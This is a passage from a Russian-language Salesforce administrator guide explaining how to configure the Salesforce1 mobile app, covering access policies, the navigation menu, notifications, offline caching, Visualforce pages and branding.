странице быстрого запуска Salesforce1щелкните «Менюнавигации».

• Предупреждение пользователей приложения Salesforce1 о важных действиях Salesforce путем включения
внутрипрограммныхивсплывающихуведомлений.Настраницебыстрого запуска Salesforce1щелкните «Параметры
уведомлений»</b>.

• Интеграция сторонних приложений в меню навигации приложения Salesforce1 путем добавления вкладок страницы
Lightningдля страниц Lightning, развернутыхворганизации. Внастройке введите «Вкладки» вполе «Быстрый поиск»,
выберите «Вкладки», затем щелкните «Создать» в связанном списке Вкладки страницы Lightning..

• Система позволяет настраивать приложение Salesforce1 в соответствии сфирменным стилем компании.На странице
быстрого запуска Salesforce1щелкните «Фирменный стиль Salesforce1».

• Предоставление загружаемым приложениям Salesforce1 возможности автоматического кэширования часто
просматриваемых данных Salesforce посредством защищенного хранилища, позволяющего просматривать данные
в автономномрежиме. (Данныйпараметрвключенпоумолчанию.)Настраницебыстрого запуска Salesforce1щелкните
«Автономный кэш».
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При необходимости просмотрите Руководство администратора мобильного приложения Salesforce1, посвященное вопросам
использования декларативных инструментов Salesforce1 в меню «Настройка» для подготовки организации к внедрению
мобильного приложения Salesforce1.

СМ. ТАКЖЕ:

Настройка мобильного приложения Salesforce1 посредством мастера Salesforce1

Поиск по параметрам управления объектами

Компактные макеты

Макеты страниц

Настройка макетов поиска

Настройка мобильного приложения Salesforce1 посредством мастера Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования мастера
Salesforce1:
• «Настройка

приложения»

МастерSalesforce1позволяетбыстровыполнятьобязательнуюнастройкудляприложения
Salesforce1.ПриложениеSalesforce1, настроенноепосредствомданногомастера, позволяет
торговымпредставителямвыполнятьрабочие задачипрямонамобильныхустройствах.

Прим.: Рекомендуем использовать обозреватель Google Chrome для мастера
Salesforce1истраницы «НастройкаSalesforce1». Такжеподдерживаютсяобозреватели
Microsoft Internet Explorer 9 или более поздней версии и Mozilla Firefox.

Если вы используете Lightning Experience, сделайте следующее.

1. Вразделенастройкищелкните<b>«Запуститьмастер»</b> в заголовкенастройки
Salesforce1 в карусели быстрого доступа.

Если вы используете Salesforce Classic, выполните следующие действия.

1. Выберите пункт «быстрый запуск Salesforce1» в меню «Настройка».

2. Нажмите кнопку «Открыть мастер быстрого запуска» на странице «Настройка
Salesforce1».

Прим.: Несмотря на выполнение основных задач настройки, мастер Salesforce1
содержиттольконекоторыезадачинастройкиSalesforce1. Например, хотявыможете
изменить порядок глобальных быстрых действий с помощью мастера, панель
действий и меню действий Salesforce1 может содержать другие типы действий,
напримеробъектныебыстрыедействияистандартныедействияChatter, доступность
которых зависит от контекста.

После закрытия мастера вы будете перенаправлены на страницу настройки быстрого
доступа Salesforce1, предоставляющую быстрый доступ к страницам настройки и
документации приложения Salesforce1. Если параметры настроены на одной странице, страница «Быстрый запуск»
содержитпрямыессылкинаэтистраницы. Приналичиипараметров, доступныхнаразныхстраницахменю «Настройка»,
данная страница содержит ссылки на соответствующую документацию.

СМ. ТАКЖЕ:

Параметры настройки мобильного приложения Salesforce1
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Управление доступом к мобильному приложению Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

Система позволяет контролировать доступ организации к загружаемым приложениям
Salesforce1 и мобильному веб-приложению Salesforce1.

В зависимости от используемой конфигурации, выполните указанные ниже действия.

• Включите или отключите доступ к мобильному веб-приложению Salesforce1. В
разделенастройкивведите «Параметры Salesforce1» вполе «Быстрый поиск»,
затем выберите «Параметры Salesforce1». См. раздел «Включение мобильного
веб-приложения Salesforce1».

• Установите, ктоимеетправополучатьдоступк загружаемымприложениям Salesforce1,
инастройте другие политики безопасности. Введите строку «Связанные приложения»
в поле «Быстрый поиск» в меню «Настройка» и выберите параметр управления
связанными приложениями. См. раздел «Политики безопасности и доступа
пользователей для загружаемых приложений Salesforce1».

Политики безопасности и доступа пользователей для загружаемых приложений Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров загружаемого
приложения Salesforce1:
• «Настройка

приложения»

Для просмотра параметров
загружаемого приложения
Salesforce1:
• «Просмотр настройки и

конфигурации»

Загружаемые приложения Salesforce1 — это связанные приложения. Другими словами,
администраторы могут определять доступность приложений и настраивать другие
политики безопасности. По умолчанию вход в загружаемые приложения Salesforce1
может выполняться всеми пользователями организации.

Система позволяет настраивать политики безопасности и доступа для каждого
загружаемого приложения Salesforce1 посредством компонентов параметров,
установленных из управляемого пакета связанных приложений Salesforce1. Ниже
перечислены компоненты, которые должны быть установлены в системе Salesforce.

• Salesforce1 для Android

• Salesforce1 для iOS

Данные компоненты устанавливаются автоматически при установке загружаемого
приложения Salesforce1 из интернет-магазина App Store или Google Play на мобильное
устройствопользователяипроверкеподлинностиорганизациипутемвыполнениявхода
в мобильное приложение.

При необходимости установите вручную пакет связанных приложений Salesforce1 и
приложений Chatter, позволяющий просматривать и изменять стандартные параметры
безопасностиидоступапередразвертываниемзагружаемыхприложений Salesforce1для
пользователей.

Если компоненты связанных приложений Salesforce1 установлены, они добавляются на
страницу «Связанныеприложения». (Внастройке введите строку «Связанные приложения»
в поле «Быстрый поиск» настройки и выберите параметр управления связанными
приложениями.) Данная страницапозволяетпросматриватьиредактироватьпараметры
каждогоприложения, включаяуправлениедоступомпосредствомпрофилей, полномочий
иограниченийдиапазонов IP-адресов. Припопытке входапользователя сограниченным
доступом в загружаемое приложение Salesforce1 отображается сообщение об ошибке.
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Страница «Связанные приложения» не поддерживает управление всплывающими уведомлениями для загружаемых
приложений Salesforce1. Чтобы управлять этими параметрами, введите строку «Уведомления» в поле «Быстрый поиск»
настройки и выберите «Уведомления Salesforce1».

Автономный доступ включается по умолчанию при установке одного из загружаемых приложений Salesforce1. Чтобы
управлять этими параметрами, в настройке введите строку «Не в сети» в поле «Быстрый поиск» и выберите
<«Уведомления Salesforce1».

СМ. ТАКЖЕ:

Общие сведения о связанных приложениях

Редактирование, пакетирование или удаление связанного приложения

Отслеживание использования для связанного приложения

Включение уведомлений мобильного приложения Salesforce1

Требования по использованию мобильного приложения Salesforce1

Включение мобильного веб-приложения Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
мобильного
веб-приложения Salesforce1:
• «Просмотр настройки и

конфигурации»

Для изменения параметров
мобильного
веб-приложения Salesforce1:
• «Настройка

приложения»

«Изменение всех
данных»

При необходимости определите доступность мобильного веб-приложения Salesforce1
пользователям, выполняющим вход в систему Salesforce посредством мобильного
обозревателя. Мобильное веб-приложение включено для организации по умолчанию.

Важное замечание: Мобильныйобозревательнепозволяетиспользоватьполную
версию системы Salesforce Classic. Хотя вы можете отключить мобильное
веб-приложение Salesforce1 для своей организации, и это приложение может быть
самостоятельноотключеноотдельнымипользователями, регулярноеиспользование
полной версии системы в мобильном обозревателе не рекомендуется. Ошибки,
возникающие во время работы пользователей, не будут обрабатываться службой
поддержки Salesforce.

Доступ к полной версии системы Lightning Experience невозможен ни с какого
мобильного обозревателя.

1. Внастройкевведитестроку «Параметры Salesforce1» вполе «Быстрый поиск»
и выберите пункт «Параметры Salesforce1».

2. Чтобыпредоставитьвсемпользователямвашейорганизациидоступкприложению,
установите флажок «Включить мобильное веб-приложение Salesforce1». В
противном случае, снимите данныйфлажок.

3. Нажмите кнопку «Сохранить».

Включенный параметр позволяет автоматически перенаправлять пользователей,
выполняющих вход в систему Salesforce посредством поддерживаемого мобильного
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обозревателя, в интерфейс приложения Salesforce1. Даже если этот параметр выбран, вход из неподдерживаемого
мобильного обозревателя инициирует загрузку полной версии системы Salesforce Classic.

СМ. ТАКЖЕ:

Включение или отключение мобильного веб-приложения Salesforce1

Требования по использованию мобильного приложения Salesforce1

Редактирование личных сведений

Меню навигации мобильного приложения Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

Данный раздел содержит сведения об элементах, которые могут отображаться в меню
навигацииприложения Salesforce1. Принеобходимостинастройтеменюнавигациидля
организации.

Значок в верхнем колонтитуле приложения Salesforce1 открывает меню навигации.

Еслистандартноеменюнавигациинесоответствуеттекущимтребованиям, выполнитеегонастройку. Вменю «Настройка»
введите «Мобильная навигация» в поле «Быстрый поиск», затем выберите «Навигация Salesforce1».

Ниже перечислены компоненты меню, доступность которых определяется параметрами организации.

ОписаниеЭлемент меню

Отображениеспискаотложенныхутвержденийпользователя. Пользователимогуткасаться
нужногоэлементаутвержденияииспользоватьприложениеSalesforce1дляегоутверждения

Запросы на утверждение

или отклонения. Данный компонент поддерживается загружаемым приложением
Salesforce1 для устройств iOS и мобильным веб-приложением Salesforce1.
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ОписаниеЭлемент меню

Доступно организациям, разрешившим отображение приложения холста в меню
навигации приложения Salesforce1.

Приложения холста

Доступность определяется версией системы и полномочиями пользователя. При
отсутствии в меню элемент «Панели мониторинга» автоматически добавляется в набор
элементов интеллектуального поиска.

Панели мониторинга

Список событий, принадлежащих пользователю, созданных пользователем для себя и
доступных пользователю или его группам.

События

Доступно организациям, использующим Chatter.Лента

В меню навигации Salesforce1 могут отображаться только настраиваемые компоненты
Lightning, привязанные ко вкладке компонента Lightning.

Компонентвкладки Lightning

Настраиваемые страницы приложения Salesforce1.Страницы Lightning

Доступноорганизациям, использующимChatter. Приотсутствиивменюэлемент «Группы»
автоматически добавляется в набор элементов интеллектуального поиска.

Группы

Отображение списка сеансов потока, приостановленных пользователем. Сеанс — это
выполняемый экземпляр потока. Пользователи могут касаться сеанса и использовать

Приостановленные сеансы
потока

приложение Salesforce1 для его возобновления или удаления. Данный компонент
поддерживается только мобильным веб-приложением Salesforce1.

Доступноорганизациям, использующимChatter. Приотсутствиивменюэлемент «Люди»
автоматически добавляется в набор элементов интеллектуального поиска.

Люди

Добавление объектов Salesforce в раздел «Недавние» меню. Кроме того, данный элемент
добавляетнаборнедавноиспользованныхобъектоввраздел «Недавние», а такжедобавляет

Элементы
интеллектуального поиска

элемент «Больше», позволяющийпользователямпросматриватьвседоступныеимобъекты,
поддерживаемые приложением Salesforce1. При отсутствии данного элемента в меню
навигации приложение Salesforce1 не позволяет просматривать объекты.

Прим.: При отсутствии журнала недавних объектов изначально отображаются
стандартныеобъектыизраздела «Недавние».Раздел «Недавние» может заполняться
объектами в течение 15 дней при условии их регулярного использования в
приложенииSalesforce1иполнойверсиисистемыSalesforce. Чтобыускоритьданный
процесс, зафиксируйте нужные объекты в результатах поиска, выполненного
посредством полной версии системы.

Списки открытых, закрытых и делегированных задач пользователя.Задачи

Приложение, предназначенное для планирования и управления рабочим днем
пользователяпутеминтеграциисобытиймобильногокалендаря со связаннымизадачами,

Today

организациями и контактами Salesforce. Кроме того, приложение предоставляет
пользователям возможность мгновенного подключения к конференц-связям, быстрой
регистрации примечаний к событиям и т. д. Данный компонент поддерживается только
загружаемыми приложениями Salesforce1.

Приложение Salesforce1 отображает только страницы Visualforce, помеченные флажком
«Доступно для мобильных приложений Salesforce».

ВкладкистраницыVisualforce
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Рекомендации
• Меню навигации не позволяет настраивать разные конфигурации для разных типов пользователей.

• Доступность любого содержимого, представленного в системе Salesforce в виде вкладки (например, стандартные и
настраиваемые объекты, страницы Visualforce, разделы «Лента», «Люди» и «Группы»), в меню приложения Salesforce1
определяется параметрами профиля, назначенного пользователю. Например, несмотря на добавление
администратором, приложение Salesforce1 не отображает элемент меню «Группы» тому пользователю, профиль
которого задает значение «Вкладка скрыта» параметрам вкладки «Группы».

• Страница параметров «Меню навигации» не контролирует меню навигации сообщества. Взамен, содержимое меню
навигации сообщества определяется вкладками, выбранными в разделе «Вкладки и страницы» параметров
администрирования сообщества.

СМ. ТАКЖЕ:

Настройка меню навигации приложения Salesforce1

Примечания по использованию меню навигации приложения Salesforce1

Включение страниц Visualforce для мобильного приложения Salesforce1

Настройка меню навигации приложения Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки меню
навигации приложения
Salesforce1:
• «Настройка

приложения»

Чтобы настроить мобильную версию системы Salesforce, выберите элементы меню,
приложения, страницы Visualforce или страницы Lightning для отображения в меню
навигации приложения Salesforce1.

Прим.: Перед включением страниц Visualforce, компонентов Lightning Pages или
Lightning в меню навигации Salesforce1 создайте для них вкладки. В меню
«Настройка» введите «Вкладки» в поле «Быстрый поиск», затем выберите
«Вкладки».

Просмотреть обзор: настройка меню навигации приложения Salesforce1

1. Вменю «Настройка» введите строку «Мобильная навигация» вполе «Быстрый поиск»
и выберите пункт «Навигация Salesforce1».

2. Выберите нужные элементы в списке «Доступно» и нажмите кнопку «Добавить».
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3. Чтобы отсортировать элементы, выберите нужный элемент и нажмите кнопку «Вверх» или «Вниз».

Порядок отображения элементов в списке «Выбрано» соответствует порядку их отображения в меню навигации.

Прим.: Первыйэлементсписка «Выбрано» становитсяцелевойстраницейприложенияSalesforce1пользователей.

4. Нажмите кнопку «Сохранить».

Элементыменюнавигацииипорядокихотображенияприменяются кприложению Salesforce1 толькопосле сохранения.
Чтобы просмотреть изменения, рекомендуем обновить страницу.

Совет: Рекомендуем размещать элементы меню, популярные среди пользователей, как можно выше. Компонент
«Элементыинтеллектуальногопоиска» можетохватыватьнеменее восьмиэлементовменю, а такжеприразмещении
вверху меню перемещать вниз другие компоненты. Компоненты, размещенные ниже компонента «Элементы
интеллектуального поиска», отображаются в разделе «Приложения» меню навигации.

СМ. ТАКЖЕ:

Меню навигации мобильного приложения Salesforce1

Примечания по использованию меню навигации приложения Salesforce1

Включение страниц Visualforce для мобильного приложения Salesforce1
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Примечания по использованию меню навигации приложения Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

Несмотрянанедавнееиспользование, некоторыеобъектымогут отсутствовать в разделе
«Недавние» меню навигации приложения Salesforce1.

• Задачи и события

• Люди, группыипанелимониторинга (приих добавлениипрямо вменюнавигации)

• Списковыепредставления, отображающиесятольконаначальныхстраницахобъектов

• Объекты, недоступные в приложении Salesforce1 (включая объекты, которым не
соответствует вкладка в полной версии системы Salesforce)

Общие сведения об элементах меню «Панели мониторинга», «Люди» и
«Группы»

Элементы меню «Панели мониторинга», «Люди» и «Группы», которые не добавляются
в список «Выбрано» для отображения в меню навигации, автоматически добавляются в
набор объектов «Элементы интеллектуального поиска» и отображаются в разделе
«Недавние» меню приложения Salesforce1. Элементы меню «Панели мониторинга»,
«Люди» и «Группы», которые добавляются в список «Выбрано» по отдельности, отображаются вне раздела «Недавние»,
поэтому их расположение в меню приложения Salesforce1 может быть настроено подобно элементам «Задачи», «Today»
и т. д.

Фиксация объекта в разделе «Недавние»

Пользователимогутнастраиватьобъекты, отображающиесявразделе «Недавние» менюнавигацииприложенияSalesforce1.
Чтобы зафиксировать объект в верхнейчастирезультатовпоиска, откройтеполнуюверсиюсистемы, наведите указатель

мыши на имя искомого объекта и щелкните значок . Порядок отображения зафиксированных объектов в полной
версии системы определяет порядок отображения объектов, закрепленных вверху раздела «Недавние» меню навигации.
Обратитевнимание, чтоподобнаяфиксацияобъектовинициируетперемещениеостальныхнезафиксированныхобъектов
в элемент меню «Больше».

СМ. ТАКЖЕ:

Меню навигации мобильного приложения Salesforce1

Настройка меню навигации приложения Salesforce1

Уведомления мобильного приложения Salesforce1

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Уведомленияпозволяютпредупреждатьпользователейонекоторыхсобытияхв системе
Salesforce. Например, уведомленияпозволяютпредупреждатьпользователейополучении
запроса на утверждение или упоминании имени пользователя в Chatter.

Приложение Salesforce1 поддерживает два типа уведомлений.

• Внутрипрограммные уведомления — это предупреждения, предназначенные для
уведомления пользователей о важных действиях при использовании приложения
Salesforce1. Значок позволяет просматривать последние 20 уведомлений,
полученных за последние 90 дней.
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Организация, поддерживающаясообщества Salesforce, позволяетпользователямпросматривать уведомлениядля всех
сообществ сих участием. Имясообщества, отображаемоепосле временнойотметки, позволяетпользователямбыстро
определять сообщество, являющееся источником уведомления.

• Всплывающиеуведомления — этопредупреждения, отображаемыенамобильномустройствев томслучае, еслизагружаемое
приложение Salesforce1 установлено, но не используется. В зависимости от типа устройства, данные предупреждения
могут содержать текст, значки и звуки. Если всплывающие уведомления включены администратором организации,
то необходимость их получения может определяться пользователями самостоятельно.

Прим.: Некоторые уведомления содержат текст, вводимый пользователями в системе Salesforce. Всплывающие
уведомления, которые не поддерживают полное содержимое, отображают минимум сведений (например, имя
пользователя); данный алгоритм позволяет исключить распространение конфиденциальных данных посредством
сторонней службы.

Например, внутрипрограммное уведомление может содержать текст «Пользователь Светлана Архипова упомянул
вас: @Иван Петров, внимание! Новая стратегия продаж для организации Acme». По умолчанию эквивалентное
всплывающееуведомлениебудетсодержатьтолькотекст «ПользовательСветланаАрхиповаупомянулвас». Обратите
внимание, что при включении полного содержимого данное всплывающее уведомление будет содержать полный
текст внутрипрограммного уведомления.

Условия для добавления полного содержимого во всплывающие уведомления
При установке флажка «Добавить полное содержимое во всплывающие уведомления» на странице «Параметры
уведомлений» системаотображает всплывающееокно, содержащеенекоторыеусловияиспользования. Нажатиемкнопки
«ОК» во всплывающем окне пользователь подтверждает свое согласие на условия использования от имени компании.

Всплывающие уведомления для Salesforce1/мобильных устройств

Всплывающие уведомления Salesforce1 с полным содержимым предоставляют Пользователям организации (далее
«Пользователи») доступ к оперативным обновлениям (например, при получении запроса на утверждение или
сообщения с упоминанием). Частота отправки уведомлений определяется количеством доступных действий.

Чтобы включить или выключить всплывающие уведомления с полным содержимым, введите строку «Параметры
уведомлений» в поле «Быстрый поиск» меню «Настройка», выберите «Параметры уведомлений» и установите или
снимите флажок в поле «Добавить полное содержимое во всплывающие уведомления».

Использование всплывающих уведомлений с полным содержимым на мобильных устройствах Пользователей,
работающих на платформе iOS, инициирует передачу данных из уведомлений, включая Данные о клиенте и/или
Конфиденциальную информацию (согласно терминологии соглашения о подписке, регулирующего вопросы
использования продуктов Salesforce), корпорации Apple или ее аффилированным организациям (далее «Apple»).
КомпанияSalesforceненесетответственностьзаконфиденциальность, безопасностьицелостностьданных, переданных
корпорации Apple.

Приналичииразрешениянавключениеданнойфункции, полученногооткомпании, являющейсяобладатемподписок
на использование Услуг Salesforce, и принятии данных условий установите флажок «ОК» ниже. В противном случае
нажмите кнопку «Отмена».

СМ. ТАКЖЕ:

Включение уведомлений мобильного приложения Salesforce1
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Включение уведомлений мобильного приложения Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
уведомлений:
• «Просмотр настройки и

конфигурации»

Для изменения параметров
уведомлений:
• «Настройка

приложения»

Разрешите всем пользователям организации получать мобильные уведомления о
событиях Salesforce (например, уведомление о получении запроса на утверждение или
об упоминании имени пользователя в Chatter).

1. Введите строку «Уведомления Salesforce1» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Уведомления Salesforce1».

2. Выберите нужные уведомления.

3. Приналичиисоответствующихполномочийустановитефлажок «Добавить полное
содержимое во всплывающие уведомления».

4. Нажмитекнопку«Сохранить». Приустановкефлажка «Добавитьполноесодержимое
вовсплывающиеуведомления» системаотображает всплывающееокно, содержащее
условия использования. Нажмите кнопку «OK» или «Отмена».

Включениемданногопараметрапользовательподтверждаетсвоесогласиенаусловия
использования от имени компании. Дополнительную информацию см. в разделе
«Уведомления мобильного приложения Salesforce1» на странице 1136.

Уведомления Salesforce1 могут содержать только запросы на утверждение, полученные
в виде электронных уведомлений. Данный параметр может быть настроен путем
изменения поля пользователя «Принимать сообщения эл. почты, содержащие
запросы на утверждение».

СМ. ТАКЖЕ:

Уведомления мобильного приложения Salesforce1

Автономный доступ к мобильному приложению Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

Приложение Salesforce1 позволяет кэшировать недавно просмотренные данные для
предоставленияпользователювозможностиихпросмотрапривключенииавтономного
режима или неудачном подключении мобильного устройства к системе Salesforce. В
настоящее время автономный доступ не может быть изменен и поддерживается
загружаемыми приложениями Salesforce1 для устройств iOS и Android.

Автономный доступ включается при первоначальной установке пользователем
организацииодногоиз загружаемыхприложений Salesforce1. Управлятьэтимпараметром
можно на странице автономной работы Salesforce1 в настройке.

Привключенииавтономногодоступаприложениеавтоматическикэшируетпоследние
просмотренные записи пользователя для объектов, отображающихся в разделе
«Недавние» менюнавигации приложения Salesforce1, и недавних панелей мониторинга
пользователя. Недавнопросмотренныезаписиопределяютсядействиямипользователя
вмобильномприложениииполнойверсиисистемы Salesforce. Крометого, приложение
кэширует большую часть данных, просматриваемых пользователем во время сеанса
Salesforce1.

Кэшированные данные шифруются и хранятся посредством защищенного хранилища.
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Таблица ниже содержит данные и элементы Salesforce1, доступные в автономном режиме.

Доступно в автономном режимеЭлемент приложения Salesforce1

ДаМеню навигации

Только предыдущие поискиГлобальный поиск

Только предыдущие просмотрыУведомления

Только предыдущие просмотрыЛенты, группы и люди

Основная страница и записи мобильных событий (при
условии предыдущего просмотра)

Salesforce Today

Только предыдущие просмотрыСобытия Salesforce

Да (первые пять)Недавние объекты

НетДругие объекты

Да (последние 30 записей)Сведения о записи

Только предыдущие просмотрыСвязанные записи

Только предыдущие просмотрыСписковые представления

Только задачи на первой странице списка «Мои задачи»
(не более 10 задач) и только при условии предыдущего
просмотра списка или после обновления кэша вручную

Задачи

Да (первые пять)Панели мониторинга

НетУтверждения (отправка, утверждение или отклонение)

Нетстраницы Visualforce

НетПриложения холста

НетСтраницы Lightning

ДаПараметры

КэшированныеданныеобновляютсяприпереключениинаприложениеSalesforce1. Переключениенадругоеприложение
инициирует автоматическое обновление кэшированных данных пользователя при хранении текущих данных более
одного часа.

Пользователи могут вручную кэшировать собственные данные (например, перед включением режима полета или
открытием области без обслуживания). Последовательно выберите пункты «Параметры» > «Автономный кэш» >
«Кэшировать» в меню навигации приложения Salesforce1.
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Прим.: Кэш хранится в течение двух недель. Пользователи могут очистить кэш путем выполнения выхода из
приложения Salesforce1.
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Включение страниц Visualforce для мобильного приложения Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: Contact Manager,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
возможности отображения
Visualforce в приложении
Salesforce1:

• «Настройка
приложения»

«Автор Apex»

СистемапозволяетиспользоватьVisualforce длярасширения возможностейприложения
Salesforce1 и предоставления пользователям мобильных устройств доступа к самым
важнымфункциям.Прежде чем добавить страницу Visualforce в приложение Salesforce1,
убедитесь, что данная страница доступна для мобильного использования, но не
используется мобильными приложениями.

Совет: Преждечемдобавить текущиестраницыVisualforce вприложениеSalesforce1,
рекомендуемопределитьспособихотображенияиалгоритмыработынамобильных
устройствах и планшетных компьютерах. Вероятнее всего, придется создать
страницу, предназначенную специально для мобильного использования.

Ниже перечислены области пользовательского интерфейса приложения Salesforce1,
поддерживающие отображение страниц Visualforce, доступных для мобильного
использования.

• Меню навигации (посредством вкладки Visualforce)

• Панель действий (посредством настраиваемого действия)

• Мобильные карты на странице связанных сведений о записи

• Переопределенные стандартные кнопки или настраиваемые кнопки и ссылки

• Внедренные объекты в макетах страниц сведений о записях

• Страницы Lightning

Чтобы включить страницу Visualforce для приложения Salesforce1, выполните указанные
ниже действия.

1. Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Страницы Visualforce».

2. Щелкните ссылку «Правка» напротив нужной страницы Visualforce.

3. Установите флажок «Доступно для мобильных приложений Salesforce и
страниц Lightning», затем нажмите кнопку «Сохранить».

Ниже перечислены некоторые примечания по поддержке Visualforce в приложении
Salesforce1.

• Стандартныевкладки, вкладкинастраиваемыхобъектови списковыепредставления,
переопределенные страницей Visualforce, не поддерживаются приложением Salesforce1. Данная страница Visualforce
отображается пользователям полной версии системы, тогда как пользователям приложения Salesforce1 будет
отображаться стандартная страница Salesforce1 для объекта. Данное ограничение позволяет использовать объекты в
приложении Salesforce1.

• Чтобы включить страницы Visualforce в приложении Salesforce1 посредством Metadata API, измените поле
isAvailableInTouch объекта ApexPage.

• Флажок «Поддержка Salesforce Classic Mobile» на страницах настройки вкладок Visualforce применяется
только к приложению Salesforce Classic Mobile и не влияет на страницы Visualforce в приложениях Salesforce1.

СМ. ТАКЖЕ:

Настройка меню навигации приложения Salesforce1

Управление мобильными картами в расширенном редакторе макетов страниц

Просмотр и редактирование страниц Visualforce
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Фирменный стиль организации в мобильном приложении Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

Система позволяет настраивать мобильное приложение Salesforce1 в соответствии с
фирменным стилем компании и повышать его узнаваемость среди мобильных
пользователей. Настраиваемыйфирменный стиль отображается во всех приложениях
Salesforce1.

Прим.: Изображения, загружаемыедлянастройкиприложенияSalesforce1, хранятся
впапке «РесурсыфирменногостиляSalesforce1» навкладке «Документы». Поданной
причинепросмотриизменениестраницы «ФирменныйстильSalesforce1» доступны
администраторамтолькопосле включенияобъекта «Документы» дляорганизации.
(Тем не менее, вкладка «Документы» может быть недоступной.)

При использовании мобильного веб-приложения Salesforce1 настраиваемый
фирменный стиль доступен пользователям только после включения объекта
«Документы» для организации. При использовании загружаемых приложений
Salesforce1 объект «Документы» должен быть доступен пользователям для чтения.

Ниже перечислены элементы, доступные для настройки.

ОписаниеЭлемент

Цвет основных элементов пользовательского интерфейса (например, верхний
колонтитул, кнопки и поле поиска).

Выбранныйфирменный цвет автоматически определяет контрастные цвета для
элементовпользовательскогоинтерфейса (например, границыменюнавигации, список
уведомлений и текст кнопки).

Фирменный цвет

Данный параметр не влияет на заголовки областей наложения, а также всплывающих
и диалоговых окон (например, окна создания и редактирования или окна,
открывающиеся при выборе действий на панели действий). Данные заголовки всегда
отображаютсябелымцветом, которыйявляется визуальныминдикаторомвыполнения
действия, а не обычного просмотра информации.

Цветфонадлястраницызагрузки, отображаемойпослевходамобильногопользователя.Цвет страницы загрузки

Изображение для страницы загрузки, отображаемой после входа мобильного
пользователя.

Рекомендуемиспользоватьизображениемаксимальнокрупногоразмера. Максимальный
размер изображения составляет 460 х 560 пикселов.

Логотип страницы загрузки

Ниже перечислены советы по настройке фирменного стиля приложения Salesforce1.

• При создании изображения логотипа воспользуйтесь функцией сжатия. Во многих программах редактирования
изображений данный процесс называется «использовать сжатие», «оптимизировать изображение», «сохранить для
Интернета» или «сжать для Интернета».

• Убедитесь в правильном отображении логотипа в приложении Salesforce1, используя устройства пользователей. В
зависимостиотразмера экранаиплотностипикселейкаждого устройства, изображениеможетотображаться в разных
масштабах или пропорциях.
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• Несмотря на то, что приложение Salesforce1 поддерживаетформаты PNG, GIF и JPG для элементов настраиваемого
фирменного стиля, рекомендуем использовать формат PNG.

• Ниже перечислены элементы интерфейса, которые не могут быть настроены.

– Значок приложения Salesforce1, отображаемый на начальном экране мобильного устройства.

– Исходный экран загрузки, отображаемый при запуске загружаемого приложения Salesforce1 для устройств iOS.
Данный экран загрузки отображается перед напоминанием, которое генерируется страницей входа.

• Внесенные изменения применяются к настраиваемому фирменному стилю только после закрытия приложения и
выполнения мобильными пользователями повторного входа.

При необходимости настройте фирменный стиль для страницы входа в приложение Salesforce1. Изменение страницы
входа доступно только после включения функции «Мой домен». Дополнительную информацию о настройке
корпоративной страницы входа Salesforce1 см. в разделе «Настройка фирменного стиля страницы входа» на странице
958.

СМ. ТАКЖЕ:

Настройка фирменного стиля в мобильном приложении Salesforce1
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Настройка фирменного стиля в мобильном приложении Salesforce1

ВЕРСИИ

Доступно в следующих
